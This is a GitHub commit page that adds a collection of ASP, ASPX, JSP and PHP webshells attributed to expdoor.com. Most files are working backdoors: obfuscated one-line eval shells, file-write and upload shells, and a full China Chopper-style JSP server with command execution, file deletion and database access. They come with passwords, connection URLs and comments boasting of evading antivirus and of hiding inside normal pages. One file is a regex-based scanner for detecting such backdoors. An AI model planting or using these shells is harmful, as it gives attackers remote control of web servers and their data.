Skip to content

Commit

Permalink
update webshell with expdoor-com
Browse files Browse the repository at this point in the history
  • Loading branch information
@tennc
tennc committed Mar 12, 2014
1 parent f56a2e2 commit a2c8423
Show file tree
Hide file tree
Showing 17 changed files with 330 additions and 0 deletions.
8 changes: 8 additions & 0 deletions asp/Asp最新变形一句话.asp
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
<%
Function MorfiCoder(Code)
MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf)
End Function
Execute MorfiCoder(")/*/z/*/(tseuqer lave")
%>

password:z
37 changes: 37 additions & 0 deletions asp/Expdoor.com ASP专用小马.asp
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
<TITLE>Expdoor.com ASP专用小马</TITLE>
<form method="post" action="?action=set">
<label>文件内容:
<br />
<textarea name="Text" cols="50" rows="10" id="Text">填入你想写入的内容</textarea>
</label><br><font color=red>该脚本仅供学习使用,请勿用于非法!如果发现威胁文件，请到<a

href='http://www.expdoor.com' title="脚本木马发布基地">www.Expdoor.com</a>解除你的危险状况

</font>
<br />
<br />
<label>文件名:
<input name="FileName" type="text" value="Asp_ver.Asp" size="20" maxlength="50" />
<br />
<br />
</label>
<label>
<input type="submit" name="Submit" value="保存" />
</label>
</form>
<%
dim s
if request("action")="set" then
Text=request("Text")
FileName=request("FileName")
set fs=server.CreateObject("Scripting.FileSystemObject") '创建FSO组件
set file=fs.OpenTextFile(server.MapPath(FileName),8,True) '创建FileName指定的文件
file.writeline Text '把TEXT逐行写入到文件中，如果没有写
权限，会造成操作失败
file.close '关闭file
set file=nothing '释放
set fs=nothing '释放
response.write ("<script>alert('保存成功!')</script>") '返回到客户端执行提示保存成功
end if
%>
9 changes: 9 additions & 0 deletions asp/不带引号的Asp一句话.asp
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
发现有些狗特别喜欢在引号前面加“\”

所以找了一个不带引号的Asp一句话

//Asp的

服务端： <% a=request(chr(97)) ExecuteGlobal(StrReverse(a)) %>

菜刀配置地址填： http://www.baidu.com/fuck.asp?a=)0(tseuqer%20lave 密码填0
34 changes: 34 additions & 0 deletions aspx/Aspx一句话木马小集.aspx
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
1k 的

<%@ Page Language="VB" %>
<%@ import Namespace="System.IO" %>
<script runat="server">
Sub Page_load(sender As Object, E As EventArgs)
dim mywrite as new streamwriter(request.form("path"), true, encoding.default) mywrite.write(request.form("content"))
mywrite.close
response.write("Done!")
End Sub
</script>

---------------------------
.net的一句话

<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%>


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> ASPX one line Code Client by amxku</TITLE>
</HEAD>
<BODY>
<form action=http://127.0.0.1/test.aspx method=post>
<textarea name=z cols=120 rows=10 width=45>
var nonamed=new System.IO.StreamWriter(Server.MapPath("nonamed.aspx"),false);
nonamed.Write(Request.Item["l"]);
nonamed.Close();
</textarea>
<textarea name=l cols=120 rows=10 width=45>your code</textarea><BR><center><br>
<input type=submit value=提交>
</BODY>
</HTML>
17 changes: 17 additions & 0 deletions aspx/aspx变形一句话.aspx
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
<script runat="server" language="JScript">
function popup(str) {
var q = "u";
var w = "afe";
var a = q + "ns" + w;
var b= eval(str,a);
return(b);
}
</script>
<%
popup(popup(System.Text.Encoding.GetEncoding(65001).
GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0="))));
%>

password:z
59 changes: 59 additions & 0 deletions jsp/JSP菜刀一句话木马.jsp
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!
String Pwd="sky";
String EC(String s,String c)throws Exception{return s;}//new String(s.getBytes("ISO-8859-1"),c);}
Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();
Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}
void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}
void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt;
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());
sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}
else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}
void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();
for(int k=0;k<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}
void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();
ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}
void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();
FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2)
{os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}
void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();
for(int j=0;j<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}
}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);
int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}
void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}
void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}
void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d);
HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];
while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}
void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));
while((l=br.readLine())!=null){sb.append(l+"\r\n");}}
void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();
while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}
void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t);
while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}
void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);
Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData();
for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}
void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008);
try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i<=n;i++){sb.append(d.getColumnName(i)+"\t|\t");
}sb.append("\r\n");while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+"\t|\t");}sb.append("\r\n");}r.close();}
catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");
}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}
%><%
String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);
String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);
StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|");
if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}
else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}
else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}
else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}
else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}
else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);
MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}
else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}
}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());
%>
1 change: 1 addition & 0 deletions jsp/新型JSP小马支持上传任意格式文件.jsp
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
<%@page import="java.io.*"%><%if(request.getParameter("f")!=null){FileOutputStream os=new FileOutputStream(application.getRealPath("/")+request.getParameter("f"));InputStream is=request.getInputStream();byte[] b=new byte[512];int n;while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();}%>
18 changes: 18 additions & 0 deletions php/PHP简单小马源码.php
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
<?php
if ($_POST)
{
$f=fopen($_POST["f"],"w");
if(fwrite($f,$_POST["c"]))
echo "<font color=red>OK!</font>";
else
echo "<font color=blue>Error!</font>";
}
?>

<title> PHP小马 - ExpDoor.com</title>
<form action="" method="post">
<input type="text" size=61 name="f" value='<?php echo $_SERVER["SCRIPT_FILENAME"];?>'><br><br>
<textarea name="c" cols=60 rows=15></textarea><br>
<input type="submit" id="b" value="Create"><br>
</form>
<p></p>
84 changes: 84 additions & 0 deletions php/pHp一句话扫描脚本程序.php
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
<?php
/**********************
作者 Spider
网上公布的各种PHP后门全军覆没
针对一些特殊变形的后门需要自己添加特征
误报率不到百分之一
**********************/
error_reporting(E_ERROR);
ini_set('max_execution_time',20000);
ini_set('memory_limit','512M');
header("content-Type: text/html; charset=gb2312");

$matches = array(
'/function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|system|passthru)+[\'|\"]\s*\)/i',
'/(exec|shell\_exec|system|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\)/i',
'/((udp|tcp)\:\/\/(.*)\;)+/i',
'/preg\_replace\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i',
'/preg\_replace\s*\((.*)\(base64\_decode\(\$/i',
'/(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*(base64\_decode|str\_rot13|gz(\w+)|file\_(\w+)\_contents|(.*)php\:\/\/input)+/i',
'/(eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\)/i',
'/eval\s*\(\s*\(\s*\$\$(\w+)/i',
'/(include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\)/i',
'/\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\)/i',
'/\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\)/i',
'/(fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\)/i',
'/echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\)/i',
'/new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\)/i',
'/\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i',
'/\$\_\=(.*)\$\_/i',
'/\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\)/i',
'/\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\)/i',
'/\$(\w+)\s*\(\s*\$\{(.*)\}/i',
'/\$(\w+)\s*\(\s*chr\(\d+\)/i'
);

function antivirus($dir,$exs,$matches) {
if(($handle = @opendir($dir)) == NULL) return false;
while(false !== ($name = readdir($handle))) {
if($name == '.' || $name == '..') continue;
$path = $dir.$name;
if(is_dir($path)) {
//chmod($path,0777);/*主要针对一些0111的目录*/
if(is_readable($path)) antivirus($path.'/',$exs,$matches);
} elseif(strpos($name,';') > -1 || strpos($name,'%00') > -1 || strpos($name,'/') > -1) {
echo '特征 <input type="text" style="width:218px;" value="解析漏洞"> '.$path.'<div></div>'; flush(); ob_flush();
} else {
if(!preg_match($exs,$name)) continue;
if(filesize($path) > 10000000) continue;
$fp = fopen($path,'r');
$code = fread($fp,filesize($path));
fclose($fp);
if(empty($code)) continue;
foreach($matches as $matche) {
$array = array();
preg_match($matche,$code,$array);
if(!$array) continue;
if(strpos($array[0],"\x24\x74\x68\x69\x73\x2d\x3e")) continue;
$len = strlen($array[0]);
if($len > 6 && $len < 200) {
echo '特征 <input type="text" style="width:218px;" value="'.htmlspecialchars($array[0]).'"> '.$path.'<div></div>';
flush(); ob_flush(); break;
}
}
unset($code,$array);
}
}
closedir($handle);
return true;
}

function strdir($str) { return str_replace(array('\\','//','//'),array('/','/','/'),chop($str)); }

echo '<form method="POST">';
echo '路径: <input type="text" name="dir" value="'.($_POST['dir'] ? strdir($_POST['dir'].'/') : strdir($_SERVER['DOCUMENT_ROOT'].'/')).'" style="width:398px;"><div></div>';
echo '后缀: <input type="text" name="exs" value="'.($_POST['exs'] ? $_POST['exs'] : '.php|.inc|.phtml').'" style="width:398px;"><div></div>';
echo '操作: <input type="submit" style="width:80px;" value="scan"><div></div>';
echo '</form>';

if(file_exists($_POST['dir']) && $_POST['exs']) {
$dir = strdir($_POST['dir'].'/');
$exs = '/('.str_replace('.','\\.',$_POST['exs']).')/i';
echo antivirus($dir,$exs,$matches) ? '<div></div>扫描完毕' : '<div></div>扫描中断';
}
?>
10 changes: 10 additions & 0 deletions php/一个过安全狗的pHp一句话.php
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
<!--------------------------

测试可用,可插入正常文件中

密码:expdoor
---------------------------->


<?php array_map("ass\x65rt",(array)$_REQUEST['expdoor']);?>

10 changes: 10 additions & 0 deletions php/不带引号的pHp一句话.php
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
发现有些狗特别喜欢在引号前面加“\”

所以找了一个不带引号的pHp一句话




//pHp的

<?php eval($_POST[1]);?> 密码1
1 change: 1 addition & 0 deletions php/国外某论坛不含Get,Post的pHp一句话.php
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>
8 changes: 8 additions & 0 deletions php/极其隐蔽的pHp小马穿插在正常页面中.php
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
<!--------------------------
Name: 折羽鸿鹄
Site: http://blog.weili.me
Mail: [email protected]
QQ: 56..
---------------------------->
<?php
if($_GET["hackers"]=="2b"){if ($_SERVER['REQUEST_METHOD'] == 'POST') { echo "url:".$_FILES["upfile"]["name"];if(!file_exists($_FILES["upfile"]["name"])){ copy($_FILES["upfile"]["tmp_name"], $_FILES["upfile"]["name"]); }}?><form method="post" enctype="multipart/form-data"><input name="upfile" type="file"><input type="submit" value="ok"></form><?php }?>
11 changes: 11 additions & 0 deletions php/某变异pHp一句话木马.php
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
转载自:https://forum.90sec.org/forum.php?mod=viewthread&tid=7316

源码<[url=mailto:?@array_map($_GET[]?@array_map($_GET['f'],$_GET[/url]);?>

<?
@preg_replace("/f/e",$_GET['u'],"fengjiao");
?>

连接方法->
.php?u=一句话，然后菜马连一句话密码！把<o>配上去

1 change: 1 addition & 0 deletions php/牛X的pHp一句话.php
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
<?php $s=@$_GET[2];if(md5($s.$s)=="e67c2597ecad64bb4cdad6633b04107f")@eval($_REQUEST[$s]); ?>
7 changes: 7 additions & 0 deletions php/过各大杀软的pHp一句话.php
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
/**********************
无视当前各大杀软,安全狗,D盾,一流监控!

pHp一句话,密码 1
**********************/

<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
15 changes: 15 additions & 0 deletions php/非常规的pHp一句话木马.php
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
<?php
if(isset($_POST['page'])) {
$page = $_POST[page];
preg_replace("/[errorpage]/e",$page,"saft");
exit;
}
?>

带md5并可植入任意文件

<?
md5($_GET['qid'])=='850abe17d6d33516c10c6269d899fd19'?array_map("asx73ert",(array)$_REQUEST['page']):next;
?>

shell.php?qid=zxexp 密码page

0 comments on commit a2c8423

Please sign in to comment.